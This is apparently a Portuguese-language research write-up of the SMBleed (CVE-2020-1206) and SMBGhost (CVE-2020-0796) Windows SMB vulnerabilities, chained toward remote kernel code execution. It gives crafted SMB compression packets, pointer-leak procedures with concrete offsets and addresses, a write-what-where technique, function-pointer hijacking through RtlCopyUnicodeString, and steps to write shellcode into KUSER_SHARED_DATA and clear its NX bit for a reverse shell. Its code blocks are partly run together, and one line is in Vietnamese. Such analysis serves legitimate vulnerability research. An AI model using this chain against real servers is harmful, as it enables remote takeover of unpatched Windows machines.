ULONG FinalCompressedSize = 0;


NTSTATUS Status = SmbCompressionDecompress(
    Header->CompressionAlgorithm,
    (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset,
    (ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset),
    (PUCHAR)Alloc->UserBuffer + Header->Offset,
    Header->OriginalCompressedSegmentSize,
    &FinalCompressedSize);
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
    SrvNetFreeBuffer(Alloc);
    return STATUS_BAD_DATA;
}


if (Header->Offset > 0) {
    memcpy(
        Alloc->UserBuffer,
        (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER),
        Header->Offset);
}


Srv2ReplaceReceiveBuffer(some_session_handle, Alloc);
return STATUS_SUCCESS;

A função Srv2DecompressData recebe uma mensagem comprimida enviada pelo cliente e aloca uma região de memória necessária, descomprimindo a mensagem nela. Em seguida, se o campo Offset for diferente de zero, ela copia os dados (RawData) que estão antes dos dados comprimidos para o início da região de memória alocada.

![](https://assets.kitploit.com/production/public/readmes/24502/a5bf8b5059336fb3677162343bace0d0b45085f2eb89e42d85f81e032fe233dc.png)

O bug SMBGhost está no fato de a função não verificar integer overflow, levando a uma alocação de tamanho incorreto que causa buffer overflow. Três meses após a Microsoft corrigir o SMBGhost, a vulnerabilidade CVE-2020-1206 (SMBleed - como é chamada pelo [Zecops Blog](https://blog.zecops.com/)) foi encontrada. Essa vulnerabilidade nos permite vazar o endereço de outra máquina e, se combinada com o SMBGhost, podemos obter RCE. Para termos uma visão mais simples da função Srv2DecompressData, usaremos essa função sem a correção do SMBGhost e assumiremos que ela já foi corrigida.

# Falsificando OriginalCompressedSegmentSize

Como no SMBGhost, desta vez continuaremos falsificando o OriginalCompressedSegmentSize com um valor um pouco maior do que os dados descomprimidos que enviamos. Por exemplo, se comprimirmos um dado com tamanho x bytes, em vez de colocar x no campo OriginalCompressedSegmentSize, colocaremos x + 0x1000; veja a imagem a seguir para ficar mais claro:

![](https://assets.kitploit.com/production/public/readmes/24502/687d3bdc67e4b2f5bb3cecbe41ea52be98a5c904a8688b325a69acb0a854ca75.png)

Dados não inicializados do kernel serão considerados como parte da mensagem.

Como eu disse na análise do [CVE-2020-0796](https://github.com/datntsec/CVE-2020-0796), o Srv2DecompressData ainda ignora a etapa de verificação após a função SmbCompressionDecompress se a descompressão for bem-sucedida:``` c
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) {
    SrvNetFreeBuffer(Alloc);
    return STATUS_BAD_DATA;
}

NTSTATUS Status = RtlDecompressBufferEx2(
    ...,
    FinalUncompressedSize,
    ...);
if (status >= 0) {
    *FinalCompressedSize = CompressedBufferSize;
}

// ...

return Status;

Porque após a descompressão bem-sucedida, `FinalCompressedSize` é atualizado para manter o valor `CompressedBufferSize` (correspondente ao `OriginalCompressedSegmentSize` passado para a função `SmbCompressionDecompress`). A atualização e a verificação subsequente são quase desnecessárias, podendo levar a alguns erros inesperados.


# Exploração básica
A estrutura de mensagem que a Zecops usa para demonstrar a falha é a [mensagem SMB2 WRITE](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e7046961-3318-4350-be2a-a8d69bb59ce8). Essa estrutura contém campos como o número de bytes graváveis, flags, ..., seguidos por um buffer de comprimento arbitrário. Isso é bastante perfeito para explorar a falha, pois podemos criar uma mensagem e especificar o cabeçalho, com um buffer contendo dados não inicializados.

Baseado no POC da [Zecops](https://blog.zecops.com/) no repositório WindowsProtocolTestSuites da Microsoft, para ter uma visão mais clara disso, adicionaremos este pequeno complemento à função de compressão:``` c
// HACK: fake size
if (((Smb2SinglePacket)packet).Header.Command == Smb2Command.WRITE)
{
    ((Smb2WriteRequestPacket)packet).PayLoad.Length += 0x1000;
    compressedPacket.Header.OriginalCompressedSegmentSize += 0x1000;
}

Os ponteiros `UserBufferPtr`, `PoolAllocationPtr`, `pMdl1`, `pMdl2` são ponteiros que apontam para dentro do bloco de memória alocado do pool, com offsets que podem ser calculados antecipadamente, então só precisamos ler um deles. Ter um ponteiro apontando para o bloco de memória alocado do pool certamente nos ajudará na exploração. Além disso, os seguintes ponteiros também são muito importantes:
- **ConnectionBufferList**: Uma lista encadeada de todos os buffers recebidos mas ainda não processados de uma conexão. A cabeça dessa lista é um objeto de conexão criado pela função SrvNetAllocateConnection em srvnet.sys. Um buffer é adicionado à lista pela função SrvNetWskReceiveComplete. No nosso caso, haverá apenas um único buffer na lista, então ambos os ponteiros (Flink e Blink da estrutura LIST_ENTRY) apontarão para a cabeça da lista dentro do objeto de conexão.
- **pSrvNetWskStruct**: Inicialmente, um ponteiro aponta para o objeto de conexão mencionado acima. O ponteiro é definido pela função SrvNetWskReceiveEvent, mas é sobrescrito pela função SrvNetWskReceiveComplete com um ponteiro para a estrutura SRVNET_BUFFER_HDR. Portanto, lê-lo não é mais útil do que ler um dos quatro ponteiros já mencionados. Aliás, se você pesquisar "pSrvNetWskStruct", verá que ele tem um papel na exploração do EternalBlue.
- **TracingPtr1/2**: Esses ponteiros só são usados quando o recurso de rastreamento está habilitado.

![](https://assets.kitploit.com/production/public/readmes/24502/916c7b643fdf7c8967b2b80189a686858d4cceaf35ddb1f38b83a7ae92f7a14f.png)

Como você pode ver, o único outro ponteiro útil que podemos ler é um ponteiro na estrutura ConnectionBufferList. Ambos os ponteiros (Blink e Flink na estrutura LIST_ENTRY) apontam para o objeto de conexão. Esse objeto é nomeado SRVNET_RECV pelo pesquisador do EternalBlue, então também usaremos esse nome.

## Obtendo o endereço base de um módulo
Agora que sabemos como obter dois ponteiros — um ponteiro apontando para o bloco de memória alocado do pool e um ponteiro apontando para a estrutura SRVNET_RECV — podemos modificar livremente os dois buffers usando a primitiva write-what-where. Pode haver muitas maneiras de alcançar RCE, mas obter um endereço base de um módulo será a escolha mais simples, porque há muitas coisas neles que podemos modificar na seção de dados de um módulo. Como vimos, nenhum ponteiro no bloco de memória alocado por SrvNetAllocateBuffer aponta para um módulo. No entanto, ainda existem alguns ponteiros apontando para os módulos:

![](https://assets.kitploit.com/production/public/readmes/24502/403108b6e79960d84369827376e208b606ba05304ae052ec4ae251cd289399a7.png)

A técnica de leitura que temos só nos permite ler dados na região "User Buffer", enquanto esses ponteiros estão bem distantes e são apontados por vários outros ponteiros. Precisamos de um trecho de código que possa fazer o seguinte para copiar o valor do ponteiro para a região "User Buffer":``` c
ptr1 = *(pSrvNetRecv + offset1)
value = *ptr1
ptr2 = *(pSrvNetRecv + offset2)
*ptr2 = value

if (pMdl2->MdlFlags & 0x0020) {
    // MDL_PARTIAL_HAS_BEEN_MAPPED flag is set.
    MmUnmapLockedPages(pMdl2->MappedSystemVa, pMdl2);
}

if (Buffer->BufferFlags & 0x02) {
    if (Buffer->BufferFlags & 0x01) {
        pMdl1->MappedSystemVa = (BYTE*)pMdl1->MappedSystemVa + 0x50;
        pMdl1->ByteCount -= 0x50;
        pMdl1->ByteOffset += 0x50;
        pMdl1->MdlFlags |= 0x1000; // MDL_NETWORK_HEADER

        pMdl2->StartVa = (PVOID)((ULONG_PTR)pMdl1->MappedSystemVa & ~0xFFF);
        pMdl2->ByteCount = pMdl1->ByteCount;
        pMdl2->ByteOffset = pMdl1->MappedSystemVa & 0xFFF;
        pMdl2->Size = /* some calculation */;
        pMdl2->MdlFlags = 0x0004; // MDL_SOURCE_IS_NONPAGED_POOL
    }

    Buffer->BufferFlags = 0;

    // ...

    pMdl1->Next = NULL;
    pMdl2->Next = NULL;

    // Return the buffer to the lookaside list.
} else {
    SrvNetUpdateMemStatistics(NonPagedPoolNx, Buffer->PoolAllocationSize, FALSE);
    ExFreePoolWithTag(Buffer->PoolAllocationPtr, '00SL');
}

Ao liberar o buffer, se os buffer flags estiverem definidos como 0x02 (o que significa que o buffer faz parte de uma lookaside list) e 0x01 (o que significa que o buffer não possui transport header), algumas operações são executadas em dois objetos MDL para adicionar o transport header antes de redefinir os flags para 0 e devolver o buffer à lookaside list. Se olharmos com atenção por trás das operações nos objetos MDL, podemos notar que o código realiza um double-dereference-read seguido de  double-dereference-write com duas variáveis que controlamos (dois ponteiros MDL), que é o que procuramos. A desvantagem é que o conteúdo que queremos ler também é modificado, um efeito colateral que esperamos evitar.

Com base no exposto, é assim que conseguimos ler o ponteiro AcceptSocket:
1. Prepare o buffer A a partir de uma lookaside list de modo que a área “User buffer” seja preenchida com zeros. A área user buffer desse buffer conterá o ponteiro que iremos ler. 
2. Prepare o buffer B a partir de outra lookaside list para:
- O ponteiro pMdl1 aponta para o endereço do ponteiro AcceptSocket menos 0x18 (pois o offset de MappedSystemVa é 0x18 na estrutura MDL).
- O ponteiro pMdl2 aponta para a área “User buffer” do Buffer A.
- O campo Flags é definido como 0x03.

Podemos sobrescrever os campos da estrutura SRVNET_BUFFER_HDR descompactando-os de um buffer maior por meio da técnica descrita na seção [Observation #2](https://github.com/datntsec/CVE-2020-1206#observation-2-failing-the-decompression) acima.

3. Quando o Buffer B for liberado, as seguintes operações ocorrerão:
- Os MDL flags serão lidos do segundo MDL no buffer A. Se o flag MDL_PARTIAL_HAS_BEEN_MAPPED estiver definido, MmUnmapLockedPages será chamado e o sistema poderá sofrer um crash. É por isso que precisamos preencher o buffer com zeros no passo 1.
- O ponteiro AcceptSocket e a memória ao redor dele serão modificados conforme descrito aqui:```
+00 |  00 00 00 00 00 00 00 00
+08 |  __ __ __|10 __ __ __ __
+10 |  __ __ __ __ __ __ __ __
+18 |  [+50..................]  <--  AcceptSocket
+20 |  __ __ __ __ __ __ __ __
+28 |  [-50......] [+50......]

- Vùng “User buffer” của buffer A sẽ được sửa đổi như được mô tả ở đây: (Các byte màu cam chứa con trỏ mà chúng ta muốn đọc, chúng ta chỉ cần sắp xếp chúng đúng cách)```
+00 |  00 00 00 00 00 00 00 00
+08 |  ?? ?? 04 00 __ __ __ __
+10 |  __ __ __ __ __ __ __ __
+18 |  __ __ __ __ __ __ __ __
+20 |  00 c0 ef gh ij kl mn op
+28 |  qr st uv wx ab 0d 00 00

Os dois primeiros argumentos são lidos da estrutura SRVNET_RECV, portanto podemos controlá-los, porém não podemos controlar os argumentos restantes. A convenção de chamada x86-64 especifica que o chamador é responsável por alocar e liberar o espaço de pilha para os argumentos, então, embora uma função de 8 argumentos seja pretendida, podemos substituir o ponteiro por qualquer outra função que espere um número diferente.

![](https://assets.kitploit.com/production/public/readmes/24502/223827f49f26993604c20b873d75ea5b11d306a85ff5210ceb2583f0a0b9452c.png)

Abaixo estão as etapas que usaremos para acionar a chamada de função:
1. Enviar uma mensagem especialmente criada para que o ponteiro da estrutura SRVNET_RECV da conexão seja copiado para um buffer que possamos ler.
2. Enviar outra mensagem válida, que reutilizará a mesma estrutura SRVNET_RECV, mas sem fechar a conexão. Observe que, quando a conexão é fechada, a estrutura SRVNET_RECV não é liberada. A função SrvNetPrepareConnectionForReuse é chamada para redefinir a estrutura para que possa ser reutilizada na próxima conexão.
3. Ler o ponteiro da estrutura SRVNET_RECV que copiamos na etapa 1.
4. Substituir o ponteiro HandlerFunctions e os argumentos usando a técnica de primitiva write-what-where.
5. Enviar uma mensagem adicional pela conexão da etapa 2 para que a função substituta para srv2!Srv2ReceiveHandler seja chamada.

Agora tudo o que precisamos fazer é encontrar uma função para copiar memória de um local para outro, para que possamos copiar memória arbitrária para um buffer do pool do qual possamos ler. memcpy é uma opção e srvnet.sys possui uma função assim (mais precisamente, memmove), mas essa função exige um terceiro argumento, usado para determinar o número de bytes a serem copiados, que não controlamos. No entanto, não estamos limitados às funções implementadas em srvnet.sys; também podemos chamar funções da tabela de importação do srvnet, e a função RtlCopyUnicodeString é uma escolha perfeita para fazer o que queremos.

A função RtlCopyUnicodeString recebe dois ponteiros UNICODE_STRING como argumentos e copia o conteúdo da string de origem para a string de destino. Diferentemente das strings C terminadas em NULL, as strings no kernel são definidas pela estrutura UNICODE_STRING, que contém um ponteiro para a string e o comprimento da string em bytes. O buffer da string pode conter qualquer dado binário. Se você observar o código da função RtlCopyUnicodeString, verá que a cópia é feita com a função memmove, ou seja, cópia pura de dados binários. Tudo o que precisamos fazer é preparar duas estruturas UNICODE_STRING e chamar RtlCopyUnicodeString e, em seguida, ler os dados copiados:

![](https://assets.kitploit.com/production/public/readmes/24502/8a450b86ecf834ec4905a2bb72dab3781d1dd2ad56ee197a003e282180ce51bc.png)

## Executando shellcode
Depois de obter uma primitiva conveniente de leitura arbitrária, passamos ao próximo desafio rumo ao objetivo de Remote Code Execution por meio da execução de um shellcode. Usaremos a técnica apresentada por Morten Schenk em sua palestra sobre [Black Hat USA 2017](https://www.blackhat.com/docs/us-17/wednesday/us-17-Schenk-Taking-Windows-10-Kernel-Exploitation-To-The-Next-Level%E2%80%93Leveraging-Write-What-Where-Vulnerabilities-In-Creators-Update.pdf) (páginas 47-51).

A ideia é escrever um shellcode abaixo da estrutura KUSER_SHARED_DATA, que possui um endereço constante, o único endereço não randomizado no layout da memória do kernel nas versões recentes do Windows. Em seguida, modificar a page table entry correspondente, tornando a página executável. O endereço base das page table entries no kernel é aleatório, mas é obtido pela função MiGetPteAddress em ntoskrnl.exe. A seguir estão as etapas que usaremos para executar nosso shellcode:
1. Usar a primitiva de leitura arbitrária para obter o endereço base de ntoskrnl.exe na tabela de importação do srvnet.
2. Ler o endereço base da page table entry a partir da função MiGetPteAddress, conforme descrito nos slides de Morten.
3. Gravar o shellcode no endereço KUSER_SHARED_DATA + 0x800 (0xFFFFF78000000800). Observe que também poderíamos usar um dos buffers do pool para armazenar o shellcode; usar KUSER_SHARED_DATA serve apenas para simplificar as coisas.
4. Calcular o endereço da page table entry correspondente e limpar o bit NX para permitir a execução, conforme descrito nos slides de Morten.
5. Chamar o shellcode usando a técnica apresentada anteriormente para invocar uma função arbitrária.

O shellcode que a Zecops usa para reverse shell é o [shellcode do sleepya](https://github.com/worawit/MS17-010/tree/master/shellcode), escrito para a exploração do EternalBlue. Eles modificaram esse shellcode para que pudesse funcionar nas versões recentes do Windows.

# Depuração

![](https://assets.kitploit.com/production/public/readmes/24502/916c7b643fdf7c8967b2b80189a686858d4cceaf35ddb1f38b83a7ae92f7a14f.png)

As informações de um pacote SMB têm uma estrutura semelhante à acima. Suponha que precisamos vazar o endereço do User Buffer; precisaremos ler o ponteiro UserBufferPtr. Para ler esse ponteiro, aproveitaremos a [técnica](https://github.com/datntsec/CVE-2020-1206#srvnetallocatebuffer-and-the-allocated-buffer-layout) de posicionar o campo de offset além do ponteiro para que ele seja copiado para a área de user buffer de outro buffer.

Exemplo de pacote SMB enviado pelo cliente com o seguinte conteúdo:```c
Header:
-   Id = 0x424d53fc
-   OriginalCompressedSegmentSize = 0x0
-   CompressionAlgorithm = 1
-   Flag = 0
-   Offset = 0x2116
Data = ‘A’ * 0x1101.

Por que é necessário criar um SMB assim? Vamos analisar passo a passo. Primeiro, a soma de OriginalCompressedSegmentSize e Offset é 0x4100, então será reutilizado um alloc com um user buffer semelhante, ou seja, o Alloc B usado anteriormente. Como queremos adivinhar se 1 byte no endereço 0xffffd3843636f15e é maior que 0x7f, e esse endereço está a 0x210e de distância do endereço do user buffer, os dados não comprimidos terão 0x210e bytes ('B' * 0x210e). Em seguida, virá a região de dados comprimidos válidos (comprimidos pela função compress()), seguida por dados comprimidos inválidos ('\xff' * 0x1fe9). Assim, ao realizar a descompressão, apenas os dados comprimidos válidos serão descomprimidos para outra região de alloc; depois a conexão será interrompida devido aos dados comprimidos inválidos posteriores, e a região de dados não comprimidos não será copiada para esse alloc, preservando assim a parte que copiamos anteriormente.

![](https://assets.kitploit.com/production/public/readmes/24502/3e1ffd768b120645917e7f1757987f80c79514b52f3bc18e46fdfb0a2d2ca05f.png)

Acima está um Alloc contendo as informações que mencionamos anteriormente, criado pelo servidor SMB.

Em seguida, o servidor SMB chamará a função SrvNetAllocateBuffer para criar um Alloc correspondente. Como a soma de OriginalCompressedSegmentSize e Offset é 0x4100, o Alloc B será reutilizado:

![](https://assets.kitploit.com/production/public/readmes/24502/5b218cbd142d58da175ee6a58bfc505646a560467db6db28ab70e0db34ee9ce3.png)

Depois, o servidor SMB descomprime as informações enviadas pelo cliente para a região de user buffer do Alloc B correspondente ao offset.

![](https://assets.kitploit.com/production/public/readmes/24502/f3b545366e8f3bcff6a69d184cc383bfcf70643c23ff0ac01ece1a95cc0fd88d.png)

Os dados em vermelho são os dados descomprimidos, o restante será preservado. Como podemos ver na figura acima, o byte que precisamos saber será preservado, logo após ele estão os dados recém-descomprimidos.

Para saber se esse byte é maior que 0x7f, procedemos da seguinte forma:

Continuamos criando um pacote SMB com o seguinte conteúdo:``` c
Header:
-   Id = 0x424d53fc
-   OriginalCompressedSegmentSize = 0x2004
-   CompressionAlgorithm = 1
-   Flag = 0
-   Offset = 0x20fd
Data = ‘B’ * 0x20f1

Do lado do servidor SMB, será criado um alloc de armazenamento da seguinte forma:

![](https://assets.kitploit.com/production/public/readmes/24502/3df2c6c8e5de90714455663bbb922efec7ae6888a970a3d65e389a28aea16837.png)

Em seguida, ele chamará a função SrvNetAllocateBuffer para alocar um alloc da seguinte forma:

![](https://assets.kitploit.com/production/public/readmes/24502/51affc73361727907ada6fb3f439831d0e95cee531a65106fa79ce4519ceaab8.png)

Naturalmente, esse alloc é reutilizado de um alloc da mesma lookaside list (Alloc B). Em seguida, o programa realiza a descompressão normalmente com os dados comprimidos válidos e encerra a conexão quando os dados comprimidos são inválidos:

![](https://assets.kitploit.com/production/public/readmes/24502/01a9cc43acbc6b7cc283f40a0dbe348608a3566bfc34ce24aa2cc694315e67a3.png)

No próximo passo, enviaremos novamente dados semelhantes aos da vez anterior e o servidor SMB alocará um alloc correspondente:

![](https://assets.kitploit.com/production/public/readmes/24502/ed438d4d0049b2188573e0fb3171cadf23701c7b0cef2de43a52434c07381341.png)

Os dados destacados em verde acima são dados do Alloc B alocado anteriormente; por pertencerem à mesma lookaside list, são reutilizados.

Em seguida, o servidor SMB chamará a função SrvNetAllocateBuffer para alocar um Alloc contendo os dados após a descompressão:

![](https://assets.kitploit.com/production/public/readmes/24502/7ed3dca4594bd1772c44689190d4df3b597d43daf7c87edb281b3e82a834884e.png)

Através da descompressão, o servidor SMB obtém os dados a partir de User buffer address + Offset = 0xffffd3843636d060 + 20fd = 0xffffd3843636f15d. Os dados extraídos terão o seguinte formato:

![](https://assets.kitploit.com/production/public/readmes/24502/68f677093ef93e02c5df9d70dce560e4d06e74446970f1f14f1ad37f08ce898e.png)

Semelhante à vez anterior, o length inicial será 0xB0D3, que após o cálculo se torna 0xD4. Em seguida, ele extrairá os próximos D4 bytes e realizará a descompressão normal. No entanto, como D4 < D7, os dados comprimidos extraídos para descompressão neste momento contêm apenas bytes 0. Ele descomprime normalmente até o final desse bloco. Em seguida, ele obterá o comprimento do próximo bloco por meio do comprimento do bloco anterior; os próximos dois bytes, D5 e D6, são 0x0, portanto o comprimento neste momento é 0x0, resultando em um length extraído de  0x0000 → o processo de descompressão é encerrado → a descompressão é bem-sucedida  → o servidor SMB retorna uma resposta → sabemos que o byte desejado é menor ou igual a 0xD7.

De forma semelhante, repetiremos o processo até vazar todos os 6 bytes de um endereço. Assim, obteremos o allocation pool address.

Com o allocation pool address em mãos, encontraremos o srvnet base address obtendo o ponteiro para a estrutura SRVNET_RECV de maneira semelhante ao vazamento do allocation pool address.

Após obter os dois endereços, allocation pool e SRVNET_RECV, com os valores `0xffffd38439044000` e `0xffffd3843654ddd8`, respectivamente, prosseguimos com o vazamento do srvnet base address.

![](https://assets.kitploit.com/production/public/readmes/24502/403108b6e79960d84369827376e208b606ba05304ae052ec4ae251cd289399a7.png)

![](https://assets.kitploit.com/production/public/readmes/24502/239c0c59c0e492097bdaf2eac907812124a89ef8bb31841287202ae80f4d13d0.png)

Para ler o ponteiro AcceptSocket, precisamos fazer o seguinte:
1. Preparar o Alloc A a partir de uma lookaside list de modo que a região do “User buffer” seja preenchida com zeros. Esse buffer posteriormente conterá o ponteiro que leremos. Aqui, o Alloc A será obtido do Alloc correspondente ao allocation pool address que vazamos. Portanto, a região do User buffer do Alloc A começará no endereço 0xffffd38439044050, por meio do uso da mesma lookaside list.
2. Preparar o Alloc B a partir de uma lookaside list diferente, de modo que:
- O ponteiro pMdl1 aponte para o endereço do ponteiro AcceptSocket menos 0x18, (pois o offset de MappedSystemVa é 0x18 na estrutura MDL). 
- O ponteiro pMdl2 aponte para a região do “User buffer” do Buffer A.
- O campo Flags seja definido como 0x03.

Assim, os endereços dos dois ponteiros Mdl são, respectivamente: mdl1_ptr: `0xffffd3843654de68`, mdl2_ptr: `0xffffd38439045250`.

Podemos sobrescrever os campos da estrutura SRVNET_BUFFER_HDR descomprimindo-os a partir de um buffer maior, usando a técnica descrita na seção [Observation #2](https://github.com/datntsec/CVE-2020-1206#observation-2-failing-the-decompression).

Explicarei essa etapa com mais detalhes logo após a etapa 4.

3. Quando o Buffer B for liberado, as seguintes operações ocorrerão:
- Os MDL flags serão lidos a partir do segundo MDL no buffer A. Se a flag MDL_PARTIAL_HAS_BEEN_MAPPED estiver definida, MmUnmapLockedPages será chamada e o sistema poderá travar. É por isso que precisamos preencher o buffer com zeros na etapa 1.
- A região do “User buffer” do Alloc A será modificada e conterá as informações que precisamos ler.
4. Ler o ponteiro AcceptSocket da região do “User buffer” do buffer A.
- Usar a técnica de vazamento de endereço já empregada acima para ler o ponteiro AcceptSocket.

A seguir, descreverei com mais detalhes as etapas acima:

A etapa 1 é bastante simples  e semelhante ao que foi feito acima, portanto não a abordarei novamente.

Na etapa 2, primeiramente criaremos um pacote a ser enviado ao servidor SMB com o seguinte conteúdo:``` c
Header:
-   Id = 0x424d53fc
-   OriginalCompressedSegmentSize = -0x38
-   CompressionAlgorithm = 1
-   Flag = 0
-   Offset = 0x10138
Data = ‘A’ * 0x10138 + compress(mdl1_ptr  + ‘\x00’*0x10 + mdl2_ptr) + ‘\xff’*0x10

Finalmente, terá a seguinte forma:

![](https://assets.kitploit.com/production/public/readmes/24502/467ea07dff7cfaca7062ed50d1605e40586c412f40bcadaf01aa37d862efd3bd.png)

Quando o Alloc B for liberado, os seguintes trechos de código serão executados:``` c
pMdl1->MappedSystemVa = (BYTE*)pMdl1->MappedSystemVa + 0x50;
pMdl1->ByteCount -= 0x50;
pMdl1->ByteOffset += 0x50;
pMdl1->MdlFlags |= 0x1000; // MDL_NETWORK_HEADER

pMdl2->StartVa = (PVOID)((ULONG_PTR)pMdl1->MappedSystemVa & ~0xFFF);
pMdl2->ByteCount = pMdl1->ByteCount;
pMdl2->ByteOffset = pMdl1->MappedSystemVa & 0xFFF;
pMdl2->Size = /* some calculation */;
pMdl2->MdlFlags = 0x0004; // MDL_SOURCE_IS_NONPAGED_POOL

Com `allocation_pool_object_ptr` sendo o endereço do allocation pool vazado e `OFFSETS['srvnet!imp_IoSizeofWorkItem']` sendo o offset da função IoSizeofWorkItem importada pelo srvnet.

Essas 2 estruturas UNICODE_STRING serão armazenadas em `allocation_pool_object_ptr + 0x1650` por meio da técnica Write-what-where encontrada na CVE-2020-0796. 
Primeiro, vamos armazenar a Destination unicode string em `allocation_pool_object_ptr + 0x1650` e então criar o pacote SMB da seguinte forma:``` c
Header:
-   Id = 0x424d53fc
-   OriginalCompressedSegmentSize = 0xffffffff
-   CompressionAlgorithm = 1
-   Flag = 0
-   Offset = 0x22
Data:
sentinel = os.urandom(2)  // 16 bits for verification
data = struct.pack('<HHIQ', desLength, desMaximumLength, 0, desBuffer)  // dest unicode string
data += struct.pack('<HHIQ', srcLength, srcMaximumLength, 0, srcBuffer) // src unicode string
data += sentinel
data_to_compress = os.urandom(0x1100 - len(data))
// 0x18 null bytes that override the struct.
data_to_compress += b'\x00'*0x18
// Target address.
data_to_compress += struct.pack('<Q', allocation_pool_object_ptr + 0x1650)
data = data + compress(data_to_compress)

Assim, quando o servidor SMB recebe o pacote, ele aloca a região de memória correspondente; nesse momento, a região alocada é allocation_pool_object_ptr e conterá os seguintes dados:

![](https://assets.kitploit.com/production/public/readmes/24502/24cc306a702cdb5f575bd1d612ea6b35db87aaf875fd45fa64977e50c61e85ed.png)

Após o processo de descompactação, os dados serão:

![](https://assets.kitploit.com/production/public/readmes/24502/d6442e5a936e1c46ebb9e3a4651e8859dca56c1aa09e9e79ed9155ea105dede2.png)

Assim, criamos duas strings Unicode e duas sentinelas para validar os dados que vazamos.

Em seguida, chamaremos a função `RtlCopyUnicodeString` e passaremos as duas strings Unicode acima.

Para chamar a função `RtlCopyUnicodeString`, primeiro sobrescreveremos o ponteiro HandlerFunctions com o endereço da função `RtlCopyUnicodeString`; essa função é importada pelo módulo srvnet e tem offset (no meu módulo) de 0x32288.

Assim, com a técnica write-what-where, gravaremos o endereço 0xFFFFF80060E70000‬ + 0x32288 - 0x8 em HandlerFunctions.

Primeiro, vazaremos um ponteiro SRVNET_RECV (0xffffe00f0b593dd8).

![](https://assets.kitploit.com/production/public/readmes/24502/f7c5bde869eb5ba21a0b9dd4e2034417487150592178aa1eb1aef523e246a5c2.png)

Salvaremos a conexão para continuar enviando os pacotes abaixo.

Em seguida, usaremos a técnica write-what-where para gravar no ponteiro RtlCopyUnicodeString - 0x8 (o motivo do - 0x8 é fazer a função RtlCopyUnicodeString substituir a função Srv2ReceiveHandler em HandlerFunctions)

![](https://assets.kitploit.com/production/public/readmes/24502/a88b44518f26ed6f0958772bdd4bf124c7c2403a525944b060a37cf17309a092.png)

Depois, gravaremos sequencialmente os 2 ponteiros das 2 strings Unicode criadas acima nos 2 argumentos de HandlerFunction

![](https://assets.kitploit.com/production/public/readmes/24502/691bdb0ce599face8b1f35393db9cc37e1f85a075c4d259a7fb96adee9fb66d2.png)

Nesse momento, na mesma conexão, a função Srv2ReceiveHandler foi substituída por RtlCopyUnicodeString; portanto, quando enviamos um pacote, a função RtlCopyUnicodeString será chamada e copiará a Unicode String.

![](https://assets.kitploit.com/production/public/readmes/24502/2410149b163fd4ebbfb13fa5d2a127cafcfdc82146c33544b0a6cc6905c13d2b.png)

O próximo passo é vazar 10 bytes de endereço de 0xffffd38439045670 a 0xffffd3843904567a (incluindo as 2 sentinelas nas duas extremidades do endereço a ser vazado). Depois, verificamos se os 2 bytes no início e no fim do endereço vazado são sentinelas; se forem, o vazamento está correto (0xfffff8068152c380).

Depois de vazar o endereço nt!IoSizeofWorkItem (0xfffff8068152c380), subtraímos seu offset (0x12C380) para obter o endereço base do ntoskrnl (0xfffff80681400000)

Observe que cada offset de cada arquivo de módulo difere entre as versões do Windows; portanto, certifique-se de ter o arquivo de módulo correto na máquina alvo.

Da mesma forma, depois de obter o endereço base do ntoskrnl, obteremos MiGetPteAddress (0xBA968) e o endereço base da PTE (MiGetPteAddress + 0x13):

![](https://assets.kitploit.com/production/public/readmes/24502/5c92df61b331c038bd90b2ccb878b7027bdbf6338602aecdda1b49a867eb42b1.png)

No próximo passo, gravaremos o shellcode em 0xFFFFF78000000800 usando a técnica write-what-where. Em seguida, recalcularemos o endereço do shellcode na PTE usando a fórmula abaixo e limparemos o bit NX para que o shellcode possa ser executado:``` c
shellcode_addr >>= 9
shellcode_addr &= 0x7FFFFFFFF8
shellcode_addr += pte_base